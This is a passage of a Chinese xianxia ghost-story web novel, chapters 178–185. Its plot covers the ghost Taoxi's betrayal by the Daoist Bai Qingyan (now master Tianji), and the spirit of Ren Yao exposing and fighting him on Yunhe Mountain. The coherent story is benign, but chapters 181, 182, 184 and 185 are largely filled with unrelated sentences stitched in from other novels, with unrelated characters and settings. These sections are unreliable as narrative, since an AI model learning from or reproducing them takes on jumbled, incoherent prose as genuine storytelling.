对于夏熙墨与无忧,竟是视若无睹。
无忧不由得纳闷:“他这是看不见我们?”
桃溪见状,更加惊恐,她又拉紧
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清晏的手,声音都在颤抖:“清晏,你看不到吗?”
清晏依然笑着哄她:“确实没有啊,我都说了,此间只有你跟我,永远都只有你跟我…”
他伸手一把揽住她的腰,满脸宠溺之色:“放心吧,我答应过你,没有人能将咱们分开。”
面对这些温柔话语,桃溪似乎有些恍惚。
见她怔怔不语,清晏先将手中桃花插入玉瓶中,正要继续再说些什么时,无忧却飘到他面前,用力朝他吹了一口气。
随后,这名叫作清晏的道士,竟化作一道黑符,翩然飘落在地。
望着眼前这幕,一旁的桃溪立时瞳孔张大,满脸难以置信。
“清晏…”
她直接扑到黑符面前,双手颤抖着,将黑符捧在掌心处,似乎不愿接受。
无忧却哼了一声,一语点破了她。
“就是为了这道符,你竟甘愿被困于此?”
“你可知,自己被人骗了?”
听了这话,桃溪当即愤怒撕碎黑符,周身煞气开始不断升腾。
接着,所有场景,随之化为虚无。
“为什么?!”
桃溪一脸痛苦抱头,下一秒,两行血泪,直接从眼底溢出。
无忧见她已化为厉鬼,吓得连忙躲到夏熙墨身后:“看样子,她是彻底想起来了!”
夏熙墨则向前走了两步,问道:“既已想起来了,我的三个问题,是不是可以答了?”
桃溪抬眸看她,一双血瞳,恨意滔天。
她咬牙切齿地回道:“骗我的人,名叫白清晏,是云鹤山忘机掌门的二弟子…”
无忧听后不由得疑惑:“这云鹤山的现任掌门,不是叫天机真人吗?”
夏熙墨淡然道:“她被封在镜中太久了,不知世事变迁。”
“‘忘机’应是前任掌门,而这所谓的二弟子白清晏,才是现任掌门。”
“啊!”
无忧立即惊叫一声:“那完了,这么说,现任掌门肯定不是什么好东西啊,小侯爷他们…”
此言一出,夏熙墨也微皱了一下眉头。
她瞥了桃溪一眼,冷冷说道:“你怨气不消,也入不得轮回,是时候该出去找你的仇人了。”
第179章 任曜
密室内,随着任风玦吐血倒地,阵法之中的阴阳烛,忽然也熄灭了。
天机道人冷眼望着一切,唇畔间却浮起一丝冷笑。
“师弟,十五年前,你煞费苦心救下这孩子,以为用这种方式就能护他一世吗?”
“天命难违,你也对抗不了天命。”
一旁颜正初将这些话听在耳里,心下却是一阵惊涛骇浪。
种种猜测与怀疑,在心头翻滚,说不出,噎不下。
原来,师父什么都知道。
忽想起下山那日,师父早早将他唤到房中,告知他,有鬼物盗取养魂珠十二颗,命他速速前去找寻。
临走前,还特意嘱咐了一句:“为师知你,这么多年来,一直对你任师叔之事耿耿于怀。”
“此趟下山,为师不许你去仁宣侯府,更不许向任家人问起,关于你任师叔的一切。”
现在想来,幡然醒悟,后背也惊起一层冷汗。
师父太过了解他的性子,事情一旦涉及到小师叔,他怎会不管不顾?
所以,这话说出来,无疑是在变相告诉他——师叔之事,或许还得要问任家人。
这下山一趟,与其说是在寻珠,倒不如说,是走入了一盘棋局里。
一盘以“养魂珠”为引的棋局。
师父是布棋之人,他不过,只是其中的一枚棋子罢了。
想到这里,颜正初只觉得无数句质问的话语要冲到嘴边来,却说不出一个字。
他眼眶通红,一阵急火攻心,喉间顿时溢出了腥甜。
师父,你为什么要这样?
你明明是我最敬重的师父啊。
我如此信任你,你却这般利用我?
二十三年来,从未有过此刻这般绝望。
颜正初趴在冰冷的地面上,身体冷,心更冷。
另一边,鹤发仙姿的天机道人,已无往日的慈眉善目,反而面露骄狂得意之色。
他忽然低唤了一声:“白鹤。”
守在一旁听命的白鹤,立即踏前一步,“师父。”
天机道人冷冷吩咐:“你现在过去,用我教你的方法,将他体内的东西,取出来。”
“是。”
白鹤应着,眼底竟也闪过一丝欣狂之色。
他迫不及待收了玉剑,向阵法之中靠了靠。
随后抬起右手,目光一凛,虚空画了一道符咒。
可就在他,将要伸手靠近任风玦时,一道刺目白光骤然溢出,直接将他弹出了阵法之外。
天机道人微微一惊。
只见倒在地上的任风玦,忽然动了动手指头,下一秒,竟缓缓睁开了眼睛。
随后,又见他慢条斯理地坐起身来,并自顾自伸了个懒腰,朝阵法之外的天机道人微微一笑。
“师兄,别来无恙啊。”
天机当即一愣,脚下不由得后撤一步,似乎难以置信:“你…是任曜?”
趴在地上的颜正初,顿时又惊又喜,若非身体受符咒限制,只怕得立即跳起来。
“任曜”将半个身子微微前倾,一手轻轻支着下颚,看似闲散而随意。
他环视四周,却喟叹了一声:“阔别十五载,师兄你…竟已这般老了吗?”
天机道人面上轻轻抽动了一下,讥讽道:“活人,自然会变老。”
“不应该吧?”
“任曜”故作怀疑:“我记得,当初你暗中修习一种邪术,借命驻颜,换取长生。”
“就连一直痴求长生之道的天问师兄,都望尘莫及。”
他说着,支在下颚的那只手,看似随意,轻轻一弹,竟打出一道光符。
“怎么?还不露出真面目,让师弟好好瞧瞧?”
天机道人当即拂袖,虽及时挡去那道符咒,但符光还是映照在他的脸上,形成了一道裂口。
而这道裂口,便如火舌碰到了易燃之物,开始迅速在他脸上蔓延。
不到片刻,便将那张假面,“烧”得一干二净。
而等天机道人再放下衣袖时,露出的竟是一张冠玉般年轻容颜。
一旁白鹤惊了,颜正初更惊。
“任曜”打量着这张脸,啧了一声,接着又道:“当年,你明知天问师兄醉心于此道,便故意将这邪术的修炼之法,暗中透露给他。”
“当然,你也不可能真有
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那么好心,会让他修成此术,所以,将‘借阳寿’,换作了‘借阴寿’。”
“天问师兄之所以会让师父逐出师门,便是因为在五十年前的上京阴阳煞中,借了那些鬼魂的阴寿,而被你告了密。”
“可怜的天问师兄啊,至今都不知道,自己竟被那‘天资平平’的师弟所坑害。”
一番话说完,白鹤与颜正初皆变了脸色,而天机道人的整张脸,也愈发阴沉。
但随即,他也只是阴冷一笑:“师父都死了十几年,天问也化成了灰,再说这些,未免太迟。”
“而你,如今只剩下这缕残魂,难道还要跟我斗?”
“任曜”微挑了一下眉头,又故作为难:“师兄说得极是,这事确实难办。”
“只不过,你师弟我聪慧过人,早在十五年前,便算出了会有今日。”
他观察着天机的脸色,继而又道:“我知道,那晚师父与我的谈话,你已暗中听了进去。”
天机道人心下一沉,眸色愈发晦暗。
忽想到师父逝世之前,那一记意味不明的眼神,与那句别有深意的话。
“清晏,为师至今放不下的人,是你…”
他难道,早就知道了吗?
“任曜”又道:“师父早就知道,你心术不正,所以那晚的话,也是故意说给你听的。”
“……”
天机道人顿时面色煞白。
那晚,云鹤山来客,师父出关后,却避而不见,只唤了任曜前去。
他知道师父大限将至,生怕天资过人的师弟,会越过自己,接任掌门之位。
所以,他用了一道遁形符,悄悄藏在师父的袇房窗外。
结果,却听到…
师父传授了任曜一套秘法,声称,此法虽能助修道者,精进修为,却并非正道。
而为了防止心术不正之人借助此法夺人修为,他又叮嘱任曜不得告知任何人。
若要救下他的侄儿,须引出自身魂魄,用此法凝聚毕生修为,让魂魄化作“精魄”,去填补那一魄的空缺。
如此,便能保那孩子,从今往后,百邪不侵。
第180章 剑魂
“师父当时之所以那么说,其实,也是为了试你…”
“所以,他后面故意加了一句,‘此事万不可让你天机师兄知晓,否则,可能会对你不利’。”
“师兄,你当时必然听得一清二楚吧?”
“任曜”的话,让天机道人那张过于年轻的脸上,一阵阴晴不定。
他久久没有回答,心里却清楚记得,因为这句话,让当时站在窗外的自己,浑身冰冷,如坠冰窖。
师父…竟然一直在防着他。
他当然心有不甘。
论入门资历,任曜还晚了十几年。
师父暗中将这样的秘法,传授给他也就算了,居然…还要防着自己?
那之后,他便一直想方设法去各种古籍内寻找关于这秘法的记载。
终于,数个日夜,不辞辛苦,还真让他找到了一些眉目…
古籍记载,只要取出“精魄”,将其炼化,便能得到施法者的毕生修为。
只是,取“精魄”也并不容易,用千阻万难来形容,也不为过。
首先,远在皇城的仁宣侯府,并不易进,任家小儿有任曜精魄护体,已经百邪难侵。
其次,取“精魄”的阵法,不仅冗长繁琐,稍有不慎,还可能会被阵法反噬。
于是,天机将此事暗藏心中,只能暗中筹划。
只是,令他意想不到的是,任曜离开云鹤山不久,师父也逝世了。
弥留之际,他竟直接将掌门之位传给了他,还留给了他一句至今想起都心头一震的话。
得了掌门之位后,天机其实也释然了一段时间,开始不大愿意再想起此事。
毕竟,任曜于他,已经产生不了任何威胁。
直到有一天,他那被逐出门的师兄天问,忽然找上门来,还给他带来了一桩“祸事”。
天机不得不再次想起那道秘法,甚至觉得,只有那道秘法才能救他。
所以,他想到了一个自认为万无一失的方法,借着大徒弟颜正初与任曜的关系,下山走了一趟…
可现在,任曜却告诉他。
这一切,其实只是师父在试探他?
十五年了啊。
天机不由得发出冷笑。
“我不信你说的,若师父当年的话有假,那你告诉我,真相又是什么?”
“任曜”则敛容正色道:“所谓的秘法,根本就不存在。”
“师父那么说的目的,不过就是为了试探你,是否存有异心。”
“而当你暗地里偷偷翻找那些古籍的时候,师父就知道,自己的猜测没有错。”
天机又是浑身一震,眼底明显有火苗在升腾。
所以,自己所找到的秘法记载,也只是师父想让看到的吗?
那套阵法的用意,又是什么?
是为了替他在十几年后,唤醒爱徒任曜的魂魄?
天机惊觉被“耍”,怒极反笑:“很好,好得很啊!”
他眼尾渐红,双手手指忽然一点点收紧,手背青筋暴起,骨节泛白。
下一秒,整个人竟升腾而起,浑身上下,则布满了杀意。
“既然如此,那就都留下来陪葬!”
随着他癫狂般低吼,整间密室忽然开始颤抖了起来。
趴在地上的颜正初率先能感受到,这密室内明显藏了什么东西…
他满脸惊骇,瞪大眼睛望向“任曜”的方向,想通过眼神去告知对方。
“任曜”也立即察觉到他的目光,再次伸手轻轻一弹,替他解开了符咒。
“师…叔…”
身体恢复知觉之后,颜正初才刚开口,声音竟哑了。
他满身狼狈,想从地上爬起来,却想到年幼时练功摔伤大哭的情形。
小师叔总是远远看着他,然后调笑一句:“你将来可是云鹤山的大师兄啊,这么爱哭鼻子,还怎么给人当大师兄?”
此时,他便像是回到了那个阶段,还未出声,眼泪已收不住。
那么大个人了,竟像个孩子一样,直接哭出声来。
“颜正初。”
“任曜”虽附身在任风玦的身上,但说话的语气,甚至是音色,都与当年相差无几。
他还是笑道:“多大个人了?还和小时候一样,爱哭鼻子吗?”
颜正初终于得以爬起身来,并一把抹去泪水,努力将眼泪
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往回逼,却又一时说不出话来。
“任曜”向他微微点头示意。
接着,又看向一旁的白鹤,故意说道:“你们师父看起来,是不打算给你们留活路了…”
白鹤感受叫脚下的震动,却并不知师父此举是何用意。
而颜正初显然比他更加见多识广,他盯着天机观察了一会儿之后,再想到室内的震动,当即脸色大变,惊叫道:“是驭鬼术!”
想不到,真正修习“驭鬼术”的人,并不是天问,而是自己的师父!
白鹤依然一脸茫然。
颜正初又立即联想到了山上的师弟们,以及余琅和阿夏。
若是,天机启用了驭鬼术,遭殃的可就是他们了。
“师叔!”
颜正初向“任曜”喊道:“师弟们有危险!”
“任曜”也看出了情形不对,回道:“我先来牵制住他,你出去救人。”
“是!”
此时的天机道人已升腾在半空中,双手掐诀。
随着他闭目低念咒语,可以清晰看到,整个人在以肉眼可见的状态,快速衰老。
等他再睁开眼睛时,原本平滑的面容,已是皱纹交错。
双手手掌裂痕密布,手指亦如同苍老的树根。
而最可怕的是,那一双瞳孔,竟只剩下一片血色。
“任曜”想的却是——天机在被拆穿真面目后,为何竟要做出血洗云鹤山的行为?
且看样子,他是要同归于尽,自己也不打算活…
与天机师兄相处那么多年,他知道此人的性情,看似和善,其实心眼极小,且自私利己。
单单只是因为这个,他不可能会连命都不要!
所以,这里面必然还藏着什么其他牵连…
心下疑云起,“任曜”直接将那把封印在任风玦体内的“剑魂”,祭了出来。
天机见此,冷冷一笑,却说道:“难怪仁宣侯府内不见你那把剑的踪迹,原来,竟藏在了任家小儿的身体里。”
“任曜”回道:“告诉你也无妨,师父当日并未传授过我任何秘法,只是告诉我四个字…”
“玉剑有灵。”
第一卷 第181章 迎战
活了这么久,如今听来只觉得幼稚苍白,但又觉得这个孩子还是可爱的。
在相公考上举人那时候,马师父其实已经答应了两人的婚事,只是好景不长,相公被打傻了之后,两人的婚事也就此搁置下来,眼看着那马翠花都要熬成老姑娘了,马师父都不肯松口。
她的俏脸上带着几分难以置信的神色,不过突然,她像是想起了什么一般,面色一凝,目光看向了周围几人,眼中闪过浓浓的警惕之色。
天予不取,反受其咎,在任何一位有希望成帝的天才身上,都不可能看见那种有机缘摆在我面前,我就不取,就是玩的心态,机缘是我的,如果你想要,那就拿命来填,踏着你的血与骨,走上一条无敌路。
在这一点上,三省之一的长官,行使着帝国三分之一相权的李苗李侍中,显然与皇帝的观点更为接近。
这让莫炎心中吐血,恨不得自己就是这位天命之子,气运果真有这么强大吗?
滨田义至接到了报告之后,他自己不方便出面,同样安排自己的副官将相关的情报提供给了三浦峻。
高十高兴,这份协议,到了明年日寇投降。至可以坑华中方面军四多万大。
“少爷,能说话不?要不要请大夫?”莫回的脸先前也跟着莫愁一起白了,此时才稍稍恢复了一点血色。
“格杀极道至尊,照见前路。”,姜衡嘴角有些发苦,这是会走上一条怎样的道路,一尊大成霸体,居然要格杀一尊皇道至尊才能看到前路。
虽然以华炎这个视角,看那些字都是反的,但是华炎还是能看懂。
随后,旭子他们区吃了饭,回去车上后,已经夜晚七点左右了,我指挥者众人就往渡口那边去了。
我顿时被干的没电了,虽然是很想走的啦,因为对于杨义磊我是打心底感觉不安全,在他家,我就心里突突,可杨依这妮子为了我跟他哥哥爸爸闹情绪,我心里确实感动。
这样的动静,如果还吸引不了其他强者的注意力。那么那些界帝强者,也算是白活了。
已经靠近沙滩,能看见热闹的海面,有人坐在橡皮艇里,被摩托艇拖着走,遇到海浪时候,橡皮艇上的那些人发出尖叫声,被淋了满身的水。
只要社会地位不是太低,钱不是太少,又会花言巧语地交际勾搭,得手机率非常大,特邀模特们怎么干,那是她们自己的事情,跟维秘签约的天使们,不需要交际攀附。
没错,现在所能做的最好的选择就是尽情地在宫殿里面搞破坏,弄得越乱越好,然后就是趁乱把那几个麻烦给逐一解决了。
当晚,各方势力翘首,所有人都在看这出好戏,叶家,在短短一年里窜起来的传奇,仿佛在此刻要湮灭。
但这时,王茵开口了,一脸嘲讽看着我“你不说,是顾忌大凯吧,呵呵!”说话间,这妮子目光看向了大凯,大凯一身是血,但此刻双目睁开,看到王茵时,他笑了,但笑出了眼泪。
相比于剩下的两尊罗汉,就像是这十六尊罗汉全部都瘦了一圈似的。
“将军,现在到处都是混乱无比,根本找不到那些供奉院的人,还请将军以自身的安危为重。”身边一名亲兵连忙劝道。
宁世景眉头猝起,收了风鸣剑:“恭候大驾!”只是,他此前被灼伤的伤口已经将袖口染成了暗红色,铺天盖地的眩晕而来,他极力强忍着,向皇帝跑过去。
她们穿着昂贵的低胸晚礼服,露出深深的事业线,即便面对屋里一众明星,也都没有露出惊讶的神色,一看就是见过大世面的。
反正夜南山是觉得美轮美奂,以至于他推开院门的时候,就呆愣住了,一直傻傻的看着梧桐。
和两人对战,夜南山硬是耗尽了源力,剑气也几乎见底才将两人战败。
当晚光熙心情愉悦,对自己英明神武的决定倍感骄傲。要不是他当机立断,今夜还不得安然入睡呢,需得时刻提防执法团偷袭反击。
威尔武装色霸气硬化的手掌按住了巴沙斯的肘尖儿,仿佛挡车的螳臂,但轻描淡写,屹然不动。
这就急坏了江晓琴了,江家的男丁一向稀少,她希望儿子和儿媳能够开枝散叶,多生几个孩子,尤其是要多生男孩,对于这样大的家族来说,缺的不是钱,而是人,只要有人就有希望。
漆黑的妖艳光华乍现,宛若从人间抵达地狱,推开那地狱之门见证的第一抹诡异颜色。
这种嘲讽的话,连可儿听了都心生怒气,更别说李云尘了。从一出现,这林七就一直是高高在上的姿态,不把他们放在眼中。
临离岛前,青菱领着萧怒去丹房领取了一些丹药,都是一些仙相级修士常用的辅助、疗伤仙丹,和一个驭兽袋。
不过宋凌风不知道的是,在飞虎团队伍侧后方的一栋高楼四楼,正伏着一个佣兵,持着一把造型别致的黑色狙击枪,正瞄准着苏齐几人那里。
云凡早有提防,唰!他脚踩惊风式,身形变幻之间,堪堪避开银色软剑的袭杀,但头上发丝被削断几缕,让他不禁背脊一寒。
这一点李云尘始料未及,喜出望外,他心中万分激动,有了这死霖链,便可看穿一切,那么在赌场中也就可以立于不败之地。
“不愧是符宗!”,云凡目光一亮,如此强大的宗门,难怪能够诞生类似坤大仙这一类的鬼才,区区不过三十岁出头,就已经成为尊主境的存在,相信此人取得的成就,就算是在玄天大陆,亦只有极少数人能够媲美。
照他这样说岂不是出手之人的修为仍在家主之上,那岂不是说出手之人的修为至少是天照境九品的修为。
叶白感觉他似乎能够控制一些那血眼了,老头子摆了摆手,似乎很是疲倦。
第一卷 第182章 碾压
门外,峰影重叠,月漫千山。
一名红衣长发的女子,正赤足缓缓从庭中走了进来。
对比起那些体型怪异的恶鬼,她纤瘦单薄的身影,看起来毫无威迫力。
沐初没说话见她如此认真在照顾着自己哪怕身体依然通得慌心里却也是暖的。
水天澜已经挖开,在避水珠的作用下,两人挖的地方没有水进来,那些水都往上冲出去了。
笑得舞月内心一阵恍惚,感觉这道笑容是那么的温暖和亲切,有一瞬间她看着焰冰帅气的脸都有点呆愣了。
原本神情间带着些倨傲的庐宁子闻言不由沉下了脸,他身为千戒宗的弟子,连尚平药师对他都是恭敬有加的,这个比自己还要低了一辈的黄樱居然敢用这种口气跟他说话,不由他不气恼。
“究竟是什么事情,需要我帮忙吗?”七七继续说道,才不管他的坏思想。
御婵想到的事寻易也想到了,从哪方面讲他都没有只因觉得剑灵可怜就放过它的道理,放出风龙去安抚剑灵固然是有同情心作祟,但这也是一种欲擒故纵的作法,两全其美何乐而不为呢。
寻易的后半个月过的稍好一点,他终究是有慧根的,在意识到照这么下去不行时,他及时调整了心态,又开始去看望那株石心蕨了,不过那真元还是一点不领情,缓过劲来后又喷了他一团毒雾。
他并指如剑,从眉心抹过,眉心明亮顿时明亮,开启了仙眼,扫视无光星系的周围。
龙青尘伸手一只手,无尽星光涌动,顿时将破灭之矛压制了,任凭破灭之矛如何挣扎都没用。
“没关系,见面就是缘分,咱们以前不认识,现在不都认识了?来,大家赏个脸一起举杯,我们共饮杯中酒,同做好朋友!”方瑞茜借着这个机会,直接无视了阮次山要求单独碰酒的要求,举杯便邀请与众人共饮。
而在蒙奇回到山谷的第三天的夜晚,蒙奇才是慢慢的张开了双眼。只是此刻他的双眼却是无比的清澈,没有丝毫那种落败之后的落寞和颓然。
秦馨说鬼魅组织获得的天地灵宝和天地秘宝也都存放在这研究室区域内,估计可能还要在里面。这么大的地方,这么多的人,要找起那些被困在这里的科学家恐怕真的不容易,更别提寻找灵宝了。
随着唐逸的话出口,剑雪莹忽然的爆射出去,简单的消去了秦皇妃的攻击,在她的身上拍了一下散去那凌厉气势,唐逸闪过去抱着要跌倒在地的秦皇妃,随即被剑雪莹拉着腾空而去。
“你们要造反吗!?”朱笛一声历喝,双目之中流露着前所未有的危险。看到眼前的这些人竟然想顽抗当下眼中更是泛起冰冷的杀意。
“多谢师傅馈赠!弟子定当努力早日脱胎换骨不服师傅所望!”双手捧着那易经丹的玉瓶轻轻的将之收入怀中吴天再次对那牛灯深深一拜感激涕零的道。
说着也便盘腿而坐,面向东方,运功修炼起来,虽然倭国的天地灵气并不如华夏那般浓厚,至少华夏地大物博,还有不少灵秀山川,都是不错的练武修炼之地。
苍凉的利剑如同亘古的巨神一般静静地俯视着整个蜀山,似乎它自远古开辟便一直便存在于那里,从未移动过。
第183章 桃溪
听到恶鬼的叫声,堂内众人谁也没敢出来看。
直到动静消失,颜正初才第一个走到门边,朝外看了一眼。
只见清和月色下,一片静谧之色,除了漂浮在空中的一点黑灰之外,四下竟早已不见那红衣女子与恶鬼的身影。
余琅与阿夏也跟着走了出来。
“刚刚那些恶鬼,这么快就…”
“没影了。”
看样子,是已经被收拾了。
颜正初稍微松了一口气,却看了一眼峰上密室方位,向二人说道:“现下这里已经安全了,你们在此等候,我需要再回一趟密室,看一下师叔的情况…”
余琅却道:“我也一起去,让阿夏留下,照看你的师弟们。”
阿夏:“……”
颜正初本想拒绝,余琅却根本不容他多说,直接拉着他,便往峰上走去。
这时,一道熟悉的身影却出现在他们的视线中。
余琅一眼望去,当即又惊又喜:“是夏姑娘!”
闻声,夏熙墨回头淡淡看了他们一眼。
余琅忙上前问道:“方才你去哪儿了?颜道长都说不见你人影。”
夏熙墨依然神色如常:“我四处走了走。”
“你可知刚刚有多凶险?不过还好你不在,免得吓到你。”
“……”
立在旁边的颜道长心下一阵无语,却只能轻咳一声,说道:“没时间解释太多,我们得赶紧上去了。”
密室石门已经被恶鬼摧毁,里面依稀有打斗声传来…
三人入内,只见室内一片狼藉。
颜正初冲在最前,见“任曜”与天机道人正斗得难分难舍,当即执起玉剑,加入了战局。
“师叔,我来助你!”
“任曜”稍微转头看了他一眼,却故作轻松地调侃了一句。
“你看看你师父,已越来越老,很快就要耗尽力气了。”
颜正初再看向师父的眼神,已不似往日那般充满敬意,而是逐渐变得凌厉,且带着锋芒。
此时的天机道人,确实已是老态龙钟。
看起来,甚至比他原本的岁数还要老上许多。
他以为,驭鬼术放出藏在鼎中的恶鬼后,便能借此血洗云鹤山。
却没料到,自己这位大徒弟竟能毫发无损地回来…
且身后还跟来了两人。
走在后面的余琅和夏熙墨,则同时看向了任风玦。
余琅怕夏熙墨不明白,悄声解释:“现在和这老道士斗法的可不是小侯爷,而是小侯爷那位小叔的魂魄。”
夏熙墨淡应了一声,目光却有意无意地在任风玦身上掠了一圈,似乎在查看这具身体,是否完好无损。
随着颜正初与“任曜”合力出击,天机道人压力剧增,撑不了片刻,便要败下阵来。
因气力不足,他靠在密室那只鼎旁,以玉剑柱地,一边喘气,一边低咳。
再抬头时,嘴角处竟已溢出了血丝。
他忽然冷笑一声,向颜正初道:“我就知道,你是你师叔捡回来的,就算拜在我的门下,心也始终不会向着我。”
颜正初被他倒打一耙,更加气恼,正要与他分辨,“任曜”却先开口了。
“师兄,小初的为人,我还是知晓了。”
“他敬重我,也敬重你,记得我的恩情,同样,也不会忘记你这么多年的对他的养育之情。”
“反倒是你,利用他对你信任,做下这些恶事,那你也只能是自食恶果了。”
天机道人面上却没有任何悔改之意。
他甚至无情讥笑:“如此,也算是做师父的,最后再教他一样东西了。”
“识人,可不能只识表面。”
颜正初想到这么多年被他蒙在鼓里,甚至,连他的真正面容都不曾见过,心下也是一阵恶寒。
然而,就在这时,密室内却传来一道女子愤怒的声音。
“白清晏你说得对,识人,确实不能只识表面…”
这声音让天机道人明显怔忡了一下。
直到,他抬头望去,竟发现一只女鬼浮荡在半空,正用一双血眸,恶狠狠盯着自己。
“是你…”
“是我。”
他认出了,这女鬼,是当日被他亲手封印在镜子中的…
天机道人慢慢回神,却问了一句:“活在那镜中,
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难道不好吗?”
女鬼更加怒不可遏,当即近前来,一手扼住了他的喉咙,几乎声声凄厉地吼道:“你骗我,你竟然那样骗我!”
天机道人见她如此,面上却没有一丝惧意,甚至用一种凉薄的语气,说道:“其实,也算不得骗你。”
“你心里一直明明都清楚,你我二人之间的差距,我不可能放弃这大半生的心血,与你做对凡侣…”
听了这话,女鬼满脸悲愤之情,一行血泪潸然而下。
对于这不知从哪儿冒出来的女鬼,颜正初一头雾水。
但听它与天机道人的谈话,多少能猜到他们之间应该有些关联。
直到一旁的“任曜”忽然喊出一个名字。
“桃溪姑娘。”
女鬼回头,却根本认不出他,“你…又是谁?”
“任曜”微微笑着:“你我,仅有过一面之缘罢了,当年我初到云鹤山。”
“原来是你,当年的那个小道士…”
女鬼这才慢慢想起来…
颜正初实在忍不住问道:“师叔,这女鬼究竟是什么人?她为何会出现在云鹤山上?”
“任曜”似乎也细细回想了一下,这才说道:“还是让桃溪姑娘自己讲吧…”
女鬼桃溪再次望向面前的天机道人,神情似也恍惚了一下,这才启唇缓缓说道:“那是大亓十年…”
距今,已过去了二十五年。
那时的云鹤山,还算得上有些名气,每日上山求符镇宅捉鬼驱邪的人也很多。
桃溪也是其中一个。
但她和那些人并不一样,她本不信鬼邪。
之所以愿意上山求符庇佑,是因为家中老宅,夜里总能听见奇怪的哭声。
母亲胆小,因此病了一场,吃药不好,父亲才想着去云鹤山走一趟。
又因为家中经营着药材铺子,父亲走不开,而弟弟尚且年幼。
作为家中长女的桃溪,便想着独自跑一趟。
她从小便跟父亲出远门进药材,从开明县到云霞镇的这点路程,于她而言,也根本不算什么。
但没想到的是,那天竟会在半道上惊了马。
第一卷 第184章 下咒
当时临近天黑,四下并无人烟,马跑后,也无处落脚。
怕山里野兽夜里袭击,桃溪便爬到一棵树上,打算等天亮。
三更左右,她靠在树干上昏昏欲睡,却莫名觉得整棵树都在摇晃。
虎妖并没有追上吴宇晨,相反的,他刚冲出去,便与几个骷髅头撞在一起,不过,火性阳刚,正好克制这黑气,在火势的影响之下,虎妖也算是堪堪支撑下来。
吴宇晨不敢轻举妄动,否则这些真人熬过了魔气,却被自己弄死了,那可就太冤枉了。
不知多久,箭已经停下来了,而怀抱着她的男人,已经没有了声息。
见到这一幕,那几个穷奇族的人也是深吸了口气,眼中难以抑制的兴奋和战栗。
此时静平和宁芷还在包间之中,宁芷知道柳媛已经走了,神色有些呆愣。
吴宇晨脸色黑如锅底,魔狱炼体决什么都好,偏偏这修炼过程是如此的痛苦,吴宇晨也是心好累。
“我想杀了那个畜生!”梁惠一字一句咬得非常清楚,交握在膝盖上的手死死的缠着,青筋根根暴出。
本身张学良对于吴佩孚就不是很尊敬,张作霖看了看自己的儿子,不过张学良却没有领会他的意思,反而把头转过去了。
燕子的这些话说得在场的人都纷纷点头,大家都用赞赏的眼光看着露娜。
但他能清晰的感觉到自己身体的变化,体内那剩下一半人类的鲜血已经变成了龙血,原本的真龙之血也被换成了更加强大的祖龙之血。
“这里裂纹遍布,阵纹早已经被打乱,那铭纹之力却依旧残存数万年不息,不愧为上古间的顶级势力!”姜辰眸光掠动,在瞧得前方裂缝如蜘网遍布,却依旧有禁纹化阵后,不由对这个上古势力由心的敬服。
对于两人的挑衅,无论是飘渺仙宫,还是洛家众人,均是表达了强烈的抗议,还有严词拒绝。
她真的不想死,大仇刚刚得报,她还没来得及去享受美好生活,就要命丧黄泉吗?
“姜师祖……灭了四尊虚神!”南云宗,叶馨雨等弟子不由得深深吸了口气,而后高呼。
改造一颗星辰,虽然花费很大,但是对于大势力而言,根本算不得什么。
她脸颊娇羞,她刚才还担心陈柒气息不对,可是她那儿想到,自己会看到这一幕发生,那干净的道心,仿佛这一下,都荡漾了丝丝涟漪。
当这万千世界演化出来,上官氏的修者瞧后,那心头都不由得一跳。
当然,苏扶只是懒得和拓跋雄较真,以他如今的圣体,一根指头可能就能把拓跋雄给捏爆。
而就在所有阎罗殿的手下内心惊恐,紧张不安间,阎王爷却丝毫没有露出什么惊惧的表情,眼神里更是露出了一丝不屑,似乎即便遇到这么多高手的联合围攻,他都没有放在眼里。
“好好招呼他们,有什么额外的开支全都算到我的账上。”于若彤豪放地说。
“我倒宁愿随我这孩儿一起去了……”佘韵儿悲从中来,她将所有希望寄托在崔封的身上,满心期待。然而崔封死亡的消息,却像是一道霹雳,将她种种幻想轰得支离破碎。
“有什么事,就直截了当的说,别在这磨磨蹭蹭的耽误时间!”孙长江豪爽的样子,让师道然和南方由衷的佩服。
第一卷 第185章 摄魂
桃溪找到云溪岩时,果然在那块溪边岩石上,看到了白清晏的身影。
他在雨中打坐,眼观鼻鼻观心。
雨水淋湿了他的衣发,他却纹丝不动。
见到他的那一刻,桃溪只觉得数月来,堆积在心中的焦躁不安全部被抚平。
阿格里斯船长的棺材被江枫带回了飞船上,至于身后的那座嵌入在岩体中的房子,则被他利用了起来。
黄立军瞟了周琴一眼:“馒头要去一食堂打!”言下之意就是这里的并不是十分好吃。
这样,王福,你替朕下去查查,乌孙之事,已经够复杂了,朕可不想再为那事这朝廷里再起了什么节外波澜,去查清楚,朕不希望他们再打此事的主意。”皇帝心里也有了自己的怀疑。
在这座十余平米宽的刑讯室背后,是一条深不见底的走廊。走廊两侧是被铁栏封锁的囚室,久经折磨的俘虏甚至连惨叫的力气都不再拥有。江枫粗略地扫了一眼,竟然找不到一件完整的躯体。
别说别的,就因为他父王的关系,他这一次一同前来可是朝内上下都为之瞩目的,这么明晃晃的情况,他不傻。”赵从凌分析道。
他在梦境中的记忆已经帮不上忙了,战争的进程和梦境中完全不同。
并非所有人都拥有空间戒指这种东西,毕竟空间系巫术模型少之又少,能将空间系巫术与炼金术结合的巫师更是凤毛麟角。七大家族的长老或许能人手一件空间系巫术道具,但其它野巫师就不一定有这样的条件了。
只是,谁都知道这名战士在扯淡,齐三林这样的人,怎么可能被俘?
而且,这样做会让游戏的亮点不够突出,如果想要把整个游戏的品质进一步提升的话,就只能靠一个神级剧情了。
北野狂大喝一声,手中的宽刀劈向了沈冲,这是他的成名武学‘嗜血狂刀’,在漠北那是罕逢敌手,刀风带着狂傲不逊,有力拨千斤的那种气势。
空桑、乾昧两大山侯皆为他所杀,因此,他顺理成章的做了这鬼界之主。
“你是什么人?这是不招待外来人。滚开。”此时守护大门两侧的几名黑衣人猛然的向前拦阻,其中一人,伸出手掌啪的一下,拍向叶飞的肩膀。
果然片刻之后,牢门大开,已是钻进十余名只在腰腹下挂了皮草的土著,周身均涂摸了五色油彩,形象十分怪异。
屏翳急插嘴截道:“承让承让,明大神,您随意,我们旁观,两不相帮,两不相帮。”即招呼了飞廉,将琉雨施鸢连人带老马一同拉回入阵内,琉雨施鸢‘哎呦’一声,也就把‘是长睡不醒的了’这几个字咽回了腹中。
张入云其实也知道自己举手阻挡,也是徒劳,但即为鱼肉,总也得容自己翻两次身吧!可眼前这位辣手仙娘,却是容不得自己有一丝的反抗,无奈之下,只得再次低头。
“我也不怕你,来呀,娘的,我要亲手用这把尖刀割下你的脑袋来。”亡灵也怒了,在那气呼呼的叫唤着。
